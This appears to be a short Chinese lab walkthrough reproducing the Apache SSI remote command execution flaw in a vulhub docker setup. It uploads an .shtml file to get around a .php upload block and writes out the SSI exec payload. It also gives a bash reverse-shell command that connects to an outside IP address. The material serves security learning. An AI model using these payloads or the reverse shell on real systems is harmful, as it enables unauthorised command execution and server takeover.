在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,shtml是标准通用标记语言下的一个应用,包含有嵌入式服务器方包含命令的文本,在被传送给浏览器之前,服务器会对SHTML文档进行完全地读取、分析以及修改。利用<!--#exec cmd="id" -->语法执行任意命令。[1]
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞
docker-compose build //可选docker-compose up -d完成试验后,记得删除漏洞环境哦~~
docker-compose downdocker system prune -a -f //可选简单访问一下,说明Apache SSI 远程命令执行漏洞环境搭建成功了
发现不支持上传php文件
提交 ailx10.shtml文件,内容如下
<!--#exec cmd="id" -->访问 ailx10.shtml文件,发现命令执行了
掏出burpsuite,修改,重放,反弹shell
bash -c 'bash -i &>/dev/tcp/174.137.58.6/8888 0>&1'再来访问一下,尽管页面没有返回,但是
反弹shell成功
参考^Apache SSI 远程命令执行漏洞 https://vulhub.org/#/environments/httpd/ssi-rce/